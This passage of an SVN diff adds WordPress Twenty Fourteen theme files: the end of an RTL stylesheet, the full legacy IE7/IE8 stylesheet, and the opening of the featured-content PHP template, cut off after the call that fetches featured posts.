+	margin-left: 0;
+	margin-right: 24px;
+}
+
+.rtl .wp-caption,
+.rtl tr th {
+	text-align: right;
+}
+
+.rtl td {
+	text-align: right;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/css/ie.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/css/ie.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/css/ie.css	(revision 56912)
@@ -0,0 +1,1335 @@
+/**
+ * Global Styles for older IE versions (previous to IE9).
+ */
+
+pre,
+fieldset,
+table,
+th,
+td,
+input,
+textarea {
+	border: 1px solid #e5e5e5;
+}
+
+hr {
+	background-color: #e5e5e5;
+}
+
+button,
+input,
+select,
+textarea {
+	vertical-align: middle;
+}
+
+
+input:focus,
+textarea:focus {
+	border: 1px solid #b2b2b2;
+}
+
+.site-title {
+	max-width: 71%;
+}
+
+.site-content blockquote.alignleft,
+.site-content blockquote.alignright {
+	border-top: 1px solid #e5e5e5;
+	border-bottom: 1px solid #e5e5e5;
+}
+
+.post-thumbnail,
+a.post-thumbnail:hover {
+	background: transparent;
+}
+
+.list-view .site-content .hentry {
+	border-top: 1px solid #e5e5e5;
+	padding-top: 48px;
+}
+
+.gallery-caption {
+	background: #000;
+	filter: alpha(opacity=0);
+}
+
+.gallery-item:hover .gallery-caption {
+	filter: alpha(opacity=70);
+}
+
+.nav-links {
+	border-top: 1px solid #e5e5e5;
+}
+
+.post-navigation a,
+.image-navigation .previous-image,
+.image-navigation .next-image,
+.contributor {
+	border-bottom: 1px solid #e5e5e5;
+}
+
+.contributor-avatar,
+.comment-author .avatar {
+	border: 1px solid #e5e5e5;
+}
+
+.comment-list article,
+.comment-list .pingback,
+.comment-list .trackback {
+	border-top: 1px solid #e5e5e5;
+}
+
+.comment-list .reply {
+	margin-top: 0;
+}
+
+#secondary {
+	color: #b3b3b3;
+}
+
+.widget abbr[title] {
+	border-color: #b3b3b3;
+}
+
+.widget pre,
+.widget fieldset,
+.widget table,
+.widget th,
+.widget td,
+.widget input,
+.widget textarea {
+	border-color: #4d4d4d;
+}
+
+.widget blockquote,
+.widget .wp-caption,
+.widget_twentyfourteen_ephemera .entry-meta a {
+	color: #b3b3b3;
+}
+
+.widget del {
+	color: #666;
+}
+
+.widget hr {
+	background-color: #4d4d4d;
+}
+
+.widget input,
+.widget textarea {
+	background-color: #1a1a1a;
+}
+
+.widget input:focus,
+.widget textarea:focus {
+	border-color: #262626;
+}
+
+.widget_calendar thead th {
+	background-color: #1a1a1a;
+}
+
+.widget_twentyfourteen_ephemera > ol > li {
+	border-bottom: 1px solid #4d4d4d;
+}
+
+.widget_archive li,
+.widget_categories li,
+.widget_links li,
+.widget_meta li,
+.widget_nav_menu li,
+.widget_pages li,
+.widget_recent_comments li,
+.widget_recent_entries li,
+.widget_categories li ul,
+.widget_nav_menu li ul,
+.widget_pages li ul {
+	border-top: 1px solid #4d4d4d;
+}
+
+.content-sidebar .widget pre,
+.content-sidebar .widget fieldset,
+.content-sidebar .widget table,
+.content-sidebar .widget th,
+.content-sidebar .widget td,
+.content-sidebar .widget input,
+.content-sidebar .widget textarea,
+.content-sidebar .widget_archive li,
+.content-sidebar .widget_categories li,
+.content-sidebar .widget_links li,
+.content-sidebar .widget_meta li,
+.content-sidebar .widget_nav_menu li,
+.content-sidebar .widget_pages li,
+.content-sidebar .widget_recent_comments li,
+.content-sidebar .widget_recent_entries li,
+.content-sidebar .widget_categories li ul,
+.content-sidebar .widget_nav_menu li ul,
+.content-sidebar .widget_pages li ul {
+	border-color: #e5e5e5;
+}
+
+.content-sidebar .widget hr {
+	background-color: #e5e5e5;
+}
+
+.content-sidebar .widget input:focus,
+.content-sidebar .widget textarea:focus {
+	border: 1px solid #b2b2b2;
+}
+
+.content-sidebar .widget_calendar thead th {
+	background-color: #fafafa;
+}
+
+.content-sidebar .widget_twentyfourteen_ephemera > ol > li {
+	border-bottom: 1px solid #e5e5e5;
+}
+
+.site-footer,
+.site-info,
+.site-info a {
+	color: #b3b3b3;
+}
+
+#supplementary + .site-info {
+	border-top: 1px solid #4d4d4d;
+}
+
+.featured-content {
+	background: #000;
+}
+
+
+/**
+ * Internet Explorer 8
+ */
+
+.ie8 img.size-full,
+.ie8 img.size-large,
+.ie8 img.header-image,
+.ie8 img.wp-post-image,
+.ie8 img[class*="align"],
+.ie8 img[class*="wp-image-"],
+.ie8 img[class*="attachment-"] {
+	height: auto;
+	width: auto; /* Prevent stretching of full-size and large-size images with height and width attributes in IE8 */
+}
+
+.ie8 .full-size-link:before,
+.ie8 .parent-post-link:before,
+.ie8 .site-content span + .byline:before,
+.ie8 .site-content span + .comments-link:before,
+.ie8 .site-content span + .edit-link:before,
+.ie8 .site-content span + .entry-date:before {
+	content: "";
+}
+
+.ie8 .attachment span.entry-date:before,
+.ie8 .entry-content .edit-link a:before,
+.ie8 .entry-meta .edit-link a:before,
+.ie8 .site-content .byline a:before,
+.ie8 .site-content .comments-link a:before,
+.ie8 .site-content .entry-date a:before,
+.ie8 .site-content .featured-post:before,
+.ie8 .site-content .full-size-link a:before,
+.ie8 .site-content .parent-post-link a:before,
+.ie8 .site-content .post-format a:before {
+	display: inline-block;
+	font: normal 16px/1 Genericons;
+	text-decoration: inherit;
+	vertical-align: text-bottom;
+}
+
+.ie8 .site-content .entry-meta > span {
+	margin-right: 10px;
+}
+
+.ie8 .site-content .format-video .post-format a:before {
+	content: "\f104";
+}
+
+.ie8 .site-content .format-audio .post-format a:before {
+	content: "\f109";
+}
+
+.ie8 .site-content .format-image .post-format a:before {
+	content: "\f473";
+	position: relative;
+	top: 1px;
+}
+
+.ie8 .site-content .format-quote .post-format a:before {
+	content: "\f106";
+	margin-right: 2px;
+}
+
+.ie8 .site-content .format-gallery .post-format a:before {
+	content: "\f103";
+	margin-right: 4px;
+}
+
+.ie8 .site-content .format-aside .post-format a:before {
+	content: "\f101";
+	margin-right: 2px;
+}
+
+.ie8 .site-content .format-link .post-format a:before {
+	content: "\f107";
+	position: relative;
+	top: 1px;
+}
+
+.ie8 .site-content .featured-post:before {
+	content: "\f308";
+	margin-right: 3px;
+	position: relative;
+	top: 1px;
+}
+
+.ie8 .site-content .entry-date a:before,
+.ie8 .attachment .site-content span.entry-date:before {
+	content: "\f303";
+	margin-right: 1px;
+	position: relative;
+	top: 1px;
+}
+
+.ie8 .site-content .byline a:before {
+	content: "\f304";
+}
+
+.ie8 .site-content .comments-link a:before {
+	content: "\f300";
+	margin-right: 2px;
+}
+
+.ie8 .entry-content .edit-link a:before,
+.ie8 .entry-meta .edit-link a:before {
+	content: "\f411";
+}
+
+.ie8 .site-content .full-size-link a:before {
+	content: "\f402";
+	margin-right: 1px;
+}
+
+.ie8 .site-content .parent-post-link a:before {
+	content: "\f301";
+}
+
+.ie8 .main-content {
+	float: left;
+}
+
+.ie8 .content-area {
+	float: left;
+	padding-top: 72px;
+	width: 100%;
+}
+
+.ie8 .site-content {
+	margin-right: 29.04761904%;
+	margin-left: 17.61904761%;
+}
+
+.ie8 .search-box-wrapper,
+.ie8 .featured-content {
+	padding-left: 17.61904761%;
+}
+
+.ie8 .header-main {
+	padding: 0 0 0 30px;
+}
+
+.ie8 .search-toggle {
+	margin-right: 0;
+}
+
+.ie8 .search-box .search-field {
+	width: 324px;
+}
+
+.ie8 .site-navigation li .current_page_item > a,
+.ie8 .site-navigation li .current_page_ancestor > a,
+.ie8 .site-navigation li .current-menu-item > a,
+.ie8 .site-navigation li .current-menu-ancestor > a {
+	background-color: #000;
+}
+
+.ie8 .primary-navigation {
+	float: right;
+	font-size: 11px;
+	margin: 0 1px 0 -10px;
+	padding: 0;
+	text-transform: uppercase;
+}
+
+.ie8 .primary-navigation .menu-toggle {
+	display: none;
+	padding: 0;
+}
+
+.ie8 .primary-navigation .nav-menu {
+	border-bottom: 0;
+	display: block;
+}
+
+.ie8 .primary-navigation.toggled-on {
+	border-bottom: 0;
+	margin: 0;
+	padding: 0;
+}
+
+.ie8 .primary-navigation li {
+	border: 0;
+	display: inline-block;
+	height: 48px;
+	line-height: 48px;
+	position: relative;
+}
+
+.ie8 .primary-navigation a {
+	display: inline-block;
+	padding: 0 10px;
+	white-space: nowrap;
+}
+
+.ie8 .primary-navigation ul ul {
+	background-color: #24890d;
+	float: left;
+	margin: 0;
+	position: absolute;
+	top: 48px;
+	left: -999em;
+	z-index: 99999;
+}
+
+.ie8 .primary-navigation li li {
+	border: 0;
+	display: block;
+	height: auto;
+	line-height: 1.0909090909;
+}
+
+.ie8 .primary-navigation ul ul ul {
+	left: -999em;
+	top: 0;
+}
+
+.ie8 .primary-navigation ul ul a {
+	padding: 18px 12px;
+	white-space: normal;
+	width: 176px;
+}
+
+.ie8 .primary-navigation li:hover > a,
+.ie8 .primary-navigation li.focus > a {
+	background-color: #24890d;
+	color: #fff;
+}
+
+.ie8 .primary-navigation ul ul a:hover,
+.ie8 .primary-navigation ul ul li.focus > a {
+	background-color: #41a62a;
+}
+
+.ie8 .primary-navigation ul li:hover > ul,
+.ie8 .primary-navigation ul li.focus > ul {
+	left: auto;
+}
+
+.ie8 .primary-navigation ul ul li:hover > ul,
+.ie8 .primary-navigation ul ul li.focus > ul {
+	left: 100%;
+}
+
+.ie8 .archive-header,
+.ie8 .page-header {
+	margin: 0 auto 60px;
+	padding: 0 10px;
+}
+
+.ie8 .site-content .has-post-thumbnail .entry-header {
+	margin-top: -48px;
+}
+
+.ie8 .archive-header,
+.ie8 .comments-area,
+.ie8 .image-navigation,
+.ie8 .page-header,
+.ie8 .page-content,
+.ie8 .post-navigation,
+.ie8 .site-content .entry-header,
+.ie8 .site-content .entry-content,
+.ie8 .site-content .entry-summary,
+.ie8 .site-content footer.entry-meta {
+	margin-right: 54px;
+	padding-right: 30px;
+	padding-left: 30px;
+}
+
+.ie8 .list-view .site-content .hentry:first-child,
+.ie8 .list-view .site-content .hentry.has-post-thumbnail {
+	border-top: 0;
+	padding-top: 0;
+}
+
+.ie8 .comment-list .trackback,
+.ie8 .comment-list .pingback,
+.ie8 .comment-list article {
+	margin-bottom: 36px;
+	padding-top: 36px;
+}
+
+.ie8 .comment-author .avatar {
+	height: 34px;
+	top: 2px;
+	width: 34px;
+}
+
+.ie8 .comment-author,
+.ie8 .comment-awaiting-moderation,
+.ie8 .comment-content,
+.ie8 .comment-list .reply,
+.ie8 .comment-metadata {
+	padding-left: 50px;
+}
+
+.ie8 .comment-list .children {
+	margin-left: 20px;
+}
+
+.ie8 .full-width .site-content {
+	margin-right: 0;
+}
+
+.ie8 .full-width .archive-header,
+.ie8 .full-width .comments-area,
+.ie8 .full-width .image-navigation,
+.ie8 .full-width .page-header,
+.ie8 .full-width .page-content,
+.ie8 .full-width .post-navigation,
+.ie8 .full-width .site-content .entry-header,
+.ie8 .full-width .site-content .entry-content,
+.ie8 .full-width .site-content .entry-summary,
+.ie8 .full-width .site-content footer.entry-meta {
+	padding-right: 30px;
+	padding-left: 30px;
+	margin-right: auto;
+}
+
+.ie8 .full-width .hentry.has-post-thumbnail:first-child {
+	margin-top: -72px;
+}
+
+
+.ie8 .singular .site-content .hentry.has-post-thumbnail {
+	margin-top: 0;
+}
+
+.ie8 .error404 .page-header {
+	margin-bottom: 24px;
+}
+
+.ie8 .contributor-avatar {
+	margin-left: -168px;
+}
+
+.ie8 .contributor-summary {
+	float: left;
+}
+
+.ie8 .site:before {
+	background-color: #000;
+	content: "";
+	display: block;
+	height: 100%;
+	min-height: 100%;
+	position: absolute;
+	top: 0;
+	left: 0;
+	width: 17.61904761%;
+	z-index: 2;
+}
+
+.ie8 #secondary {
+	border: 0;
+	clear: none;
+	color: #b3b3b3;
+	float: left;
+	margin: 0 0 0 -100%;
+	min-height: 100vh;
+	padding: 0 30px;
+	width: 12.85714285%;
+}
+
+.ie8 .site-description {
+	display: block;
+	margin: -3px 0 21px;
+}
+
+.ie8 .secondary-navigation {
+	font-size: 11px;
+	margin: 0 -30px 48px;
+	width: calc(100% + 60px);
+}
+
+.ie8 .secondary-navigation li {
+	border-top: 1px solid #4d4d4d;
+	position: relative;
+}
+
+.ie8 .secondary-navigation a {
+	padding: 10px 30px;
+}
+
+.ie8 .secondary-navigation ul ul {
+	background-color: #24890d;
+	position: absolute;
+	top: 0;
+	left: -999em;
+	width: 222px;
+	z-index: 99999;
+}
+
+.ie8 .secondary-navigation li li {
+	border-top: 0;
+}
+
+.ie8 .secondary-navigation li:hover > a,
+.ie8 .secondary-navigation li.focus > a {
+	background-color: #24890d;
+	color: #fff;
+}
+
+.ie8 .secondary-navigation ul ul a:hover,
+.ie8 .secondary-navigation ul ul li.focus > a {
+	background-color: #41a62a;
+}
+
+.ie8 .secondary-navigation ul li:hover > ul,
+.ie8 .secondary-navigation ul li.focus > ul {
+	left: 202px;
+}
+
+.ie8 .content-sidebar {
+	border: 0;
+	float: right;
+	margin-left: -29.04761904%;
+	padding: 72px 30px 24px;
+	width: 29.04761904%;
+}
+
+.ie8 #supplementary {
+	padding: 0;
+}
+
+.ie8 .footer-sidebar {
+	font-size: 12px;
+	line-height: 1.5;
+}
+
+.ie8 .footer-sidebar .widget,
+.ie8 .primary-sidebar .widget {
+	font-size: 12px;
+	line-height: 1.5;
+}
+
+.ie8 .footer-sidebar .widget {
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing:    border-box;
+	box-sizing:         border-box;
+	float: left;
+	padding: 0 30px;
+	width: 25%;
+}
+
+.ie8 .footer-sidebar .widget h1,
+.ie8 .primary-sidebar .widget h1 {
+	font-size: 20px;
+	line-height: 1.2;
+}
+
+.ie8 .footer-sidebar .widget h2,
+.ie8 .primary-sidebar .widget h2 {
+	font-size: 18px;
+	line-height: 1.3333333333;
+}
+
+.ie8 .footer-sidebar .widget h3,
+.ie8 .primary-sidebar .widget h3 {
+	font-size: 16px;
+	line-height: 1.5;
+}
+
+.ie8 .footer-sidebar .widget h4,
+.ie8 .primary-sidebar .widget h4 {
+	font-size: 14px;
+	line-height: 1.7142857142;
+}
+
+.ie8 .footer-sidebar .widget h5,
+.ie8 .primary-sidebar .widget h5 {
+	font-size: 12px;
+	line-height: 2;
+}
+
+.ie8 .footer-sidebar .widget h6,
+.ie8 .primary-sidebar .widget h6 {
+	font-size: 11px;
+	line-height: 2.1818181818;
+}
+
+.ie8 .footer-sidebar .widget code,
+.ie8 .footer-sidebar .widget kbd,
+.ie8 .footer-sidebar .widget tt,
+.ie8 .footer-sidebar .widget var,
+.ie8 .footer-sidebar .widget samp,
+.ie8 .footer-sidebar .widget pre,
+.ie8 .primary-sidebar .widget code,
+.ie8 .primary-sidebar .widget kbd,
+.ie8 .primary-sidebar .widget tt,
+.ie8 .primary-sidebar .widget var,
+.ie8 .primary-sidebar .widget samp,
+.ie8 .primary-sidebar .widget pre {
+	font-size: 11px;
+	line-height: 1.6363636363;
+}
+
+.ie8 .footer-sidebar .widget blockquote,
+.ie8 .primary-sidebar .widget blockquote {
+	font-size: 14px;
+	line-height: 1.2857142857;
+}
+
+.ie8 .footer-sidebar .widget blockquote cite,
+.ie8 .primary-sidebar .widget blockquote cite {
+	font-size: 12px;
+	line-height: 1.5;
+}
+
+.ie8 .footer-sidebar .widget input,
+.ie8 .footer-sidebar .widget textarea,
+.ie8 .primary-sidebar .widget input,
+.ie8 .primary-sidebar .widget textarea {
+	font-size: 12px;
+	padding: 3px 2px 4px 4px;
+}
+
+.ie8 .footer-sidebar .widget input[type="button"],
+.ie8 .footer-sidebar .widget input[type="reset"],
+.ie8 .footer-sidebar .widget input[type="submit"],
+.ie8 .primary-sidebar .widget input[type="button"],
+.ie8 .primary-sidebar .widget input[type="reset"],
+.ie8 .primary-sidebar .widget input[type="submit"] {
+	padding: 5px 15px 4px;
+}
+
+.ie8 .footer-sidebar .widget .widget-title,
+.ie8 .primary-sidebar .widget .widget-title {
+	font-size: 11px;
+	font-weight: 700;
+	line-height: 1.6363636363;
+	margin-bottom: 18px;
+}
+
+.ie8 .footer-sidebar .widget_twentyfourteen_ephemera .entry-title,
+.ie8 .footer-sidebar .widget_twentyfourteen_ephemera .entry-meta,
+.ie8 .footer-sidebar .widget_twentyfourteen_ephemera .wp-caption-text,
+.ie8 .footer-sidebar .widget_twentyfourteen_ephemera .post-format-archive-link,
+.ie8 .footer-sidebar .widget_twentyfourteen_ephemera .entry-content table,
+.ie8 .primary-sidebar .widget_twentyfourteen_ephemera .entry-title,
+.ie8 .primary-sidebar .widget_twentyfourteen_ephemera .entry-meta,
+.ie8 .primary-sidebar .widget_twentyfourteen_ephemera .wp-caption-text,
+.ie8 .primary-sidebar .widget_twentyfourteen_ephemera .post-format-archive-link,
+.ie8 .primary-sidebar .widget_twentyfourteen_ephemera .entry-content table {
+	font-size: 11px;
+	line-height: 1.6363636363;
+}
+
+.ie8 .footer-sidebar .widget_archive li,
+.ie8 .footer-sidebar .widget_categories li,
+.ie8 .footer-sidebar .widget_links li,
+.ie8 .footer-sidebar .widget_meta li,
+.ie8 .footer-sidebar .widget_nav_menu li,
+.ie8 .footer-sidebar .widget_pages li,
+.ie8 .footer-sidebar .widget_recent_comments li,
+.ie8 .footer-sidebar .widget_recent_entries li,
+.ie8 .primary-sidebar .widget_archive li,
+.ie8 .primary-sidebar .widget_categories li,
+.ie8 .primary-sidebar .widget_links li,
+.ie8 .primary-sidebar .widget_meta li,
+.ie8 .primary-sidebar .widget_nav_menu li,
+.ie8 .primary-sidebar .widget_pages li,
+.ie8 .primary-sidebar .widget_recent_comments li,
+.ie8 .primary-sidebar .widget_recent_entries li {
+	border-top: 0;
+	padding: 0 0 6px;
+}
+
+.ie8 .footer-sidebar .widget_categories li ul,
+.ie8 .footer-sidebar .widget_nav_menu li ul,
+.ie8 .footer-sidebar .widget_pages li ul,
+.ie8 .primary-sidebar .widget_categories li ul,
+.ie8 .primary-sidebar .widget_nav_menu li ul,
+.ie8 .primary-sidebar .widget_pages li ul {
+	border-top: 0;
+	margin-top: 0;
+}
+
+.ie8 .grid .featured-content .entry-header {
+	border-color: #000;
+	border-style: solid;
+	border-width: 12px 10px;
+	height: 96px;
+	padding: 0;
+}
+
+.ie8 .featured-content {
+	padding-left: 17.61904761%;
+}
+
+.ie8 .grid .featured-content .hentry {
+	float: left;
+	width: 33.3333333%;
+}
+
+.ie8 .grid .featured-content .hentry:nth-child( 3n+1 ) {
+	clear: both;
+}
+
+.ie8 .grid .featured-content .entry-header {
+	height: 120px;
+}
+
+.ie8 .slider .featured-content .entry-title {
+	font-size: 33px;
+	line-height: 1.0909090909;
+}
+
+.ie8 .slider .featured-content .entry-header {
+	min-height: inherit;
+	padding: 24px 30px 48px;
+	position: absolute;
+	left: 0;
+	bottom: 0;
+	width: 50%;
+	z-index: 3;
+}
+
+.ie8 .slider-control-paging {
+	background: transparent;
+	margin-top: -48px;
+	padding-left: 24px;
+	width: 50%;
+}
+
+.ie8 .slider-control-paging li {
+	margin: 12px 12px 12px 0;
+}
+
+.ie8 .slider-control-paging a {
+	height: 24px;
+	width: 24px;
+}
+
+.ie8 .slider-control-paging a:before {
+	top: 6px;
+	left: 6px;
+}
+
+.ie8 .slider-direction-nav {
+	clear: none;
+	float: right;
+	margin-top: -48px;
+	width: 98px;
+}
+
+.ie8 .slider-direction-nav li:first-child {
+	padding: 0 1px 0 0;
+}
+
+.ie8 .slider-direction-nav li {
+	border: 0;
+	padding: 0 0 0 1px;
+}
+
+.ie8 .slider-direction-nav a {
+	height: 48px;
+}
+
+.ie8 .slider-direction-nav a:before {
+	line-height: 48px;
+}
+
+
+/**
+ * Internet Explorer 7
+ */
+
+.ie7 audio,
+.ie7 canvas,
+.ie7 video {
+	display: inline;
+	zoom: 1;
+}
+
+.ie7 button,
+.ie7 input,
+.ie7 select,
+.ie7 textarea {
+	vertical-align: middle;
+}
+
+.ie7 button,
+.ie7 input[type="button"],
+.ie7 input[type="reset"],
+.ie7 input[type="submit"] {
+	overflow: visible;
+}
+
+.ie7 .screen-reader-text {
+	clip: rect(1px 1px 1px 1px);
+}
+
+.ie7 .site,
+.ie7 .site-header {
+	max-width: 100%;
+}
+
+.ie7 .search-toggle {
+	line-height: 45px;
+	margin-right: 190px;
+	padding: 0 20px;
+	text-transform: uppercase;
+	width: auto;
+}
+
+.ie7 .search-toggle .screen-reader-text {
+	color: #fff;
+	position: relative; /* Override inherited `absolute` value set in style.css. */
+}
+
+.ie7 .search-box {
+	height: 24px;
+	padding: 12px 0;
+}
+
+.ie7 .search-box .search-field {
+	margin: 0 10px;
+	width: 33%;
+}
+
+.ie7 .site-navigation li {
+	border-top: 1px solid #4d4d4d;
+}
+
+.ie7 .primary-navigation .nav-menu,
+.ie7 .secondary-navigation {
+	border-bottom: 1px solid #4d4d4d;
+}
+
+.ie7 .secondary-navigation {
+	margin: 48px auto;
+	max-width: 474px
+}
+
+.ie7 .content-area {
+	padding-top: 48px;
+}
+
+.ie7 .hentry {
+	max-width: 100%;
+}
+
+.ie7 .menu-toggle {
+	color: #fff;
+	font-weight: 400;
+	font-size: 16px;
+	line-height: 45px;
+	text-transform: uppercase;
+	width: 200px;
+}
+
+.ie7 .post-thumbnail img {
+	display: block;
+	margin: 0 auto;
+}
+
+.ie7 .entry-meta .tag-links a {
+	margin-left: 0;
+}
+
+.ie7 .content-sidebar {
+	padding: 48px 10px;
+}
+
+.ie7 .singular .hentry.has-post-thumbnail {
+	margin-top: -48px;
+}
+
+.ie7 .entry-meta > span,
+.ie7 .widget_twentyfourteen_ephemera .entry-title {
+	margin-right: 20px;
+}
+
+.ie7 #secondary {
+	border-bottom: 1px solid #4d4d4d;
+}
+
+.ie7 .content-sidebar {
+	border-top: 1px solid #e5e5e5;
+	border-bottom: 1px solid #e5e5e5;
+}
+
+.ie7 .widget {
+	margin: 0 auto 48px;
+	max-width: 474px;
+}
+
+.ie7 .content-sidebar .widget_twentyfourteen_ephemera .widget-title {
+	padding-top: 7px;
+}
+
+.ie7 .slider .featured-content .hentry {
+	display: block;
+}
+
+.ie7 .featured-content .entry-header {
+	min-height: 0;
+}
+
+.ie7 .slider-control-paging a {
+	line-height: 40px;
+	text-indent: 0;
+}
+
+.ie7 .slider-control-paging .slider-active {
+	color: #41a62a;
+}
+
+.ie7 .slider-direction-nav {
+	border-top: 2px solid #fff;
+}
+
+.ie7 .slider-direction-nav li {
+	border: 0;
+	width: 49%;
+}
+
+.ie7 .slider-direction-nav a {
+	font-size: 16px;
+	line-height: 45px;
+	text-transform: uppercase;
+}
+
+.ie7 .slider-direction-nav a:hover {
+	background-color: #000;
+	color: #41a62a;
+}
+
+.ie7 .search-toggle {
+	line-height: 45px;
+	margin-right: 190px;
+}
+
+.ie7 .featured-content .post-thumbnail,
+.ie7 .slider .featured-content .post-thumbnail {
+	padding-top: 0;
+}
+
+.ie7 .featured-content .post-thumbnail img {
+	position: relative;
+}
+
+.ie7 .featured-content .entry-header {
+	width: auto;
+}
+
+.ie7 .grid .featured-content .hentry {
+	float: left;
+	margin: 0 auto;
+	max-width: 672px;
+	width: 33.333333%;
+}
+
+.ie7 .slider .featured-content .entry-header {
+	margin: 0 auto;
+	max-width: 1038px;
+}
+
+.ie7 .slider-control-paging {
+	float: none;
+	margin: -24px auto 0;
+	max-width: 1038px;
+	width: auto;
+}
+
+
+/**
+ * RTL for Internet Explorer 8 & 7
+ */
+
+.rtl .attachment a,
+.rtl .gallery a,
+.rtl .wp-caption a,
+.rtl .widget_twentyfourteen_ephemera .entry-content a {
+	display: inline;
+}
+
+
+/**
+ * RTL overrides for Internet Explorer 8
+ */
+
+.ie8 .rtl .site-content .entry-meta > span {
+	margin-right: auto;
+	margin-left: 10px;
+}
+
+.ie8 .rtl .site-content .format-quote .post-format a:before {
+	margin-right: auto;
+	margin-left: 2px;
+}
+
+.ie8 .rtl .site-content .format-gallery .post-format a:before {
+	margin-right: auto;
+	margin-left: 4px;
+}
+
+.ie8 .rtl .site-content .format-aside .post-format a:before {
+	margin-right: auto;
+	margin-left: 2px;
+}
+
+.ie8 .rtl .site-content .featured-post:before {
+	margin-right: auto;
+	margin-left: 3px;
+}
+
+.ie8 .rtl .site-content .entry-date a:before,
+.ie8 .rtl .attachment .site-content span.entry-date:before {
+	margin-right: auto;
+	margin-left: 1px;
+}
+
+.ie8 .rtl .site-content .comments-link a:before {
+	margin-right: auto;
+	margin-left: 2px;
+}
+
+.ie8 .rtl .site-content .full-size-link a:before {
+	margin-right: auto;
+	margin-left: 1px;
+}
+
+.ie8 .rtl .main-content {
+	float: right;
+}
+
+.ie8 .rtl .content-area {
+	float: right;
+}
+
+.ie8 .rtl .site-content {
+	margin-right: 17.61904761%;
+	margin-left: 29.04761904%;
+}
+
+.ie8 .rtl .search-box-wrapper,
+.ie8 .rtl .featured-content {
+	padding-right: 17.61904761%;
+	padding-left: 0;
+}
+
+.ie8 .rtl .header-main {
+	padding: 0 30px 0 0;
+}
+
+.ie8 .rtl .search-toggle {
+	margin-right: auto;
+	margin-left: 0;
+}
+
+.ie8 .rtl .primary-navigation {
+	float: left;
+	margin: 0 -10px 0 1px;
+}
+
+.ie8 .rtl .primary-navigation ul ul {
+	float: right;
+	right: -999em;
+	left: auto;
+}
+
+.ie8 .rtl .primary-navigation ul ul ul {
+	right: -999em;
+	left: auto;
+}
+
+.ie8 .rtl .primary-navigation ul li:hover > ul,
+.ie8 .rtl .primary-navigation ul li.focus > ul {
+	right: auto;
+	left: auto;
+}
+
+.ie8 .rtl .primary-navigation ul ul li:hover > ul,
+.ie8 .rtl .primary-navigation ul ul li.focus > ul {
+	right: 100%;
+	left: auto;
+}
+
+.ie8 .rtl .entry-meta .tag-links a:before {
+	right: -8px;
+}
+
+.ie8 .rtl .archive-header,
+.ie8 .rtl .comments-area,
+.ie8 .rtl .image-navigation,
+.ie8 .rtl .page-header,
+.ie8 .rtl .page-content,
+.ie8 .rtl .post-navigation,
+.ie8 .rtl .site-content .entry-header,
+.ie8 .rtl .site-content .entry-content,
+.ie8 .rtl .site-content .entry-summary,
+.ie8 .rtl .site-content footer.entry-meta {
+	margin-right: auto;
+	margin-left: 54px;
+}
+
+.ie8 .rtl .comment-author,
+.ie8 .rtl .comment-awaiting-moderation,
+.ie8 .rtl .comment-content,
+.ie8 .rtl .comment-list .reply,
+.ie8 .rtl .comment-metadata {
+	padding-right: 50px;
+	padding-left: 0;
+}
+
+.ie8 .rtl .comment-list .children {
+	margin-right: 20px;
+	margin-left: auto;
+}
+
+
+.ie8 .rtl.full-width .site-content {
+	margin-left: 0;
+}
+
+.ie8 .rtl.full-width .archive-header,
+.ie8 .rtl.full-width .comments-area,
+.ie8 .rtl.full-width .image-navigation,
+.ie8 .rtl.full-width .page-header,
+.ie8 .rtl.full-width .page-content,
+.ie8 .rtl.full-width .post-navigation,
+.ie8 .rtl.full-width .site-content .entry-header,
+.ie8 .rtl.full-width .site-content .entry-content,
+.ie8 .rtl.full-width .site-content .entry-summary,
+.ie8 .rtl.full-width .site-content footer.entry-meta {
+	margin-left: auto;
+}
+
+.ie8 .rtl .contributor-avatar {
+	margin-right: -168px;
+	margin-left: auto;
+}
+
+.ie8 .rtl .contributor-summary {
+	float: right;
+}
+
+.ie8 .rtl .site:before {
+	right: 0;
+	left: auto;
+}
+
+.ie8 .rtl #secondary {
+	float: right;
+	margin: 0 -100% 0 0;
+}
+
+.ie8 .rtl .secondary-navigation ul ul {
+	right: -999em;
+	left: auto;
+}
+
+.ie8 .rtl .secondary-navigation ul li:hover > ul,
+.ie8 .rtl .secondary-navigation ul li.focus > ul {
+	right: 202px;
+	left: auto;
+}
+
+.ie8 .rtl .content-sidebar {
+	float: left;
+	margin-right: -29.04761904%;
+	margin-left: auto;
+}
+
+.ie8 .rtl .footer-sidebar .widget {
+	float: right;
+}
+
+.ie8 .rtl .featured-content {
+	padding-right: 17.61904761%;
+	padding-left: 0;
+}
+
+.ie8 .rtl.grid .featured-content .hentry {
+	float: right;
+}
+
+.ie8 .rtl.slider .featured-content .entry-header {
+	right: 0;
+	left: auto;
+}
+
+.ie8 .rtl .slider-control-paging {
+	padding-right: 24px;
+	padding-left: 0;
+}
+
+.ie8 .rtl .slider-control-paging li {
+	margin: 12px 0 12px 12px;
+}
+
+.ie8 .rtl .slider-control-paging a:before {
+	right: 6px;
+	left: auto;
+}
+
+.ie8 .rtl .slider-direction-nav {
+	float: left;
+}
+
+.ie8 .rtl .slider-direction-nav li {
+	padding: 0 1px 0 0;
+}
+
+.ie8 .rtl .slider-direction-nav li:first-child {
+	padding: 0 0 0 1px;
+}
+
+
+/**
+ * RTL overrides for Internet Explorer 7
+ */
+
+.ie7 .rtl.grid .featured-content .hentry {
+	float: right;
+}
+
+.ie7 .rtl .slider-control-paging {
+	float: none;
+	margin: -24px auto 0;
+}
+
+.ie7 .rtl .entry-meta .tag-links a {
+	margin-right: 0;
+	margin-left: auto;
+}
+
+.ie7 .rtl .search-toggle {
+	margin-right: auto;
+	margin-left: 190px;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/featured-content.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/featured-content.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/featured-content.php	(revision 56912)
@@ -0,0 +1,39 @@
+<?php
+/**
+ * The template for displaying featured content
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+?>
+
+<div id="featured-content" class="featured-content">
+	<div class="featured-content-inner">
+	<?php
+		/**
+		 * Fires before the Twenty Fourteen featured content.
+		 *
+		 * @since Twenty Fourteen 1.0
+		 */
+		do_action( 'twentyfourteen_featured_posts_before' );
+
+		$featured_posts = twentyfourteen_get_featured_posts();
